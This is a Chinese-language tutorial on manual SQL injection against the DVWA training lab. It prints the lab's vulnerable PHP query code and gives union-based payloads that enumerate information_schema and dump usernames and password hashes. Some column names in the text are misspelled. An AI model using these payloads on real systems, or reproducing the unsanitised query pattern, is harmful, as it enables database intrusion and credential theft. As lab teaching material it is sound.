SQL注入原理
Web应用程序对用户输入的合法性没有判断或者过滤不严,用户在输入的字符串之中注入SQL指令,导致这些注入进去的恶意指令被数据库误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
前言
重点:information_schema
在学习SQL注入漏洞之前,先学习一个相关的知识点。在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”
的数据库,在该库中,需要记住三个表名,分别是:schemata、tables、columns。
1、schemata表存储该用户创建的所有数据库的库名。
其中记录数据库库名的字段名为:schemata_name。
2、tables表存储该用户创建的所有数据库的库名和表名。
其中记录数据库库名和表名的字段名分别是:tables_schema
和table_name。
3、columns
表存储该用户创建的所有数据库的库名、表名和字段名。
其中记录数据库库名、表名和字段名的字段名分别是:tables_schema、table_name和column_name。
information_schema.tables
:数据库的表名
information_schema.columns
:数据库的列名
1.注入流程
1、注入点测试: 需要先测试交互方式,判断浏览器提交数据和web浏览器的交互方式。
2、判断字符的类型:整数型还是字符型
3、构造闭合:(字符型需要,整型不需要,后续有详细解释)
4、查询字段数:在构造SQL语句并判断数据库表的行数
5、判断回显位:通过构造SQL语句,找到数据库回显的位置
6、查询数据库的基本信息:数据库名字、版本
7、爆数据库的敏感信息:数据库表名、字段名(列名)、字符中的数据
2.源码分析
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) { //判断submit变量是否存在
// Get input
$id = $_REQUEST[ 'id' ]; //判断ID变量的值并赋给变量ID、输入一个ID
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //ID会再这里进行一个查询、将select查询语句赋值给变量$query
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_query()函数执行mysql查询
如果是执行查询之类的语句(select),那么会返回一个资源标识,也就是我们要查找的数据结构集
如果是执行增删改之类的语句,返回的就是true或者false了
//die()函数输出一条信息,并退出当前脚本
//mysql_error()函数返回上一个MySQL操作产生的文本错误信息
//or之前的语句执行不成功时,才会执行后面的语句
例子 1 or X =1 当前面的条件满足的、or后面不用管、整个表达式是成立的
//and之前的语句执行成功时,才会执行后面的语句
例子1 and 1 =1 前后都得是成立的、整个表达式才会成立
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) { //从结果集中取得一行作为关联数组
// Get values
$first = $row["first_name"]; //返回结果集中first-name字段的值
$last = $row["last_name"]; //返回结果集中last——name字段的值
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; //字符串输出
}
mysqli_close($GLOBALS(全局变量)["___mysqli_ston"]); //返回值
成功时返回TRUE,失败时返回FALSE。
}
?>
2.复现过程
按照所传递的数据类型分类
数字型注入
SELECT first_name ,last_name FROM users WHERE user_id=$id
字符型注入
SELECT first_name ,last_name FROM users WHERE user_id=’$id’
例子
‘or 1=1 or
’代入 $id
时,俩单引号之间是空值,为假 ,or1=1
为真 ,再一个or
假
手工MySQL注入流程
1.第一步先使用and来判断是否真实存在SQL注入
查询命令:id=1' and 1=1# 和 id=1' and 1=2#
这里访问id = 1 and 1=1,由于and 1=1恒为真,所以返回的页面肯定是是返回与id=1相同的结果,但是访问id = 1 and 1=2,由于and 1=2恒为假,所以返回的页面肯定是与id=1不相同的结果,所以通过上面的查询就可以判断,是可能存在SQL注入的
注释:这里的#是注释的意思,因为前面的语句通过 ’ 单引号进行闭合了,后面的语句就多余出来了,所以要使用#来进行注释掉
下一步就是判断字段数
查询命令:id=1' order by N#
查询字段的数目:1’order by 1 #
输入3
时出错、 说明当前表有两列。
也可以通过输入union select 1,2,3…
来猜解字段数)
输入1’ union select 1 –
报错
输入1’ union select 1,2 –
成功
还可以用二分法来判断
1≤字段数<10 1’order by 5-- 错误
1≤字段数<5 1’order by 3-- 错误
1≤字段数<3 1’order by 2-- 正确的
结论 2≤字段数<3 字段数=2
最终确认回显点
接着就是可以进行union查询数据库版本和当前数据库名
1' union select version(),database() #
接着继续再继续查询数据库中的表
1' union select 1,group_concat(table_name)collate utf8_general_ci from information_schema.tables where table_schema='dvwa' #
进一步查询数据库表中的列名,也就是字段名
1' union select 1,group_concat(column_name)collate utf8_general_ci from information_schema.columns where table_name='users' #
最终获取字段内的数据:
1' union select user,password from dvwa.users #
总结
1、加 '
(单引号)就是为了让SQL语句发生错误,破坏SQL语句的完整性,没有达到SQL语句语法规则,所以就会报错,如果报错,则是代表了注入语句通过前端已经传递到了后端数据库而达到目标;如果没有报错,那么就是有可能是被过滤掉或者其他的防护手段。
2、‘union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
查询数据库中的表的时候页面报错:
3、
table_schema
是数据库的名称
table_name
是具体的表名
COLLATE转换字符编码排序规则
库中找表–>from information_schema.tables
库中找列–>from information_schema.columns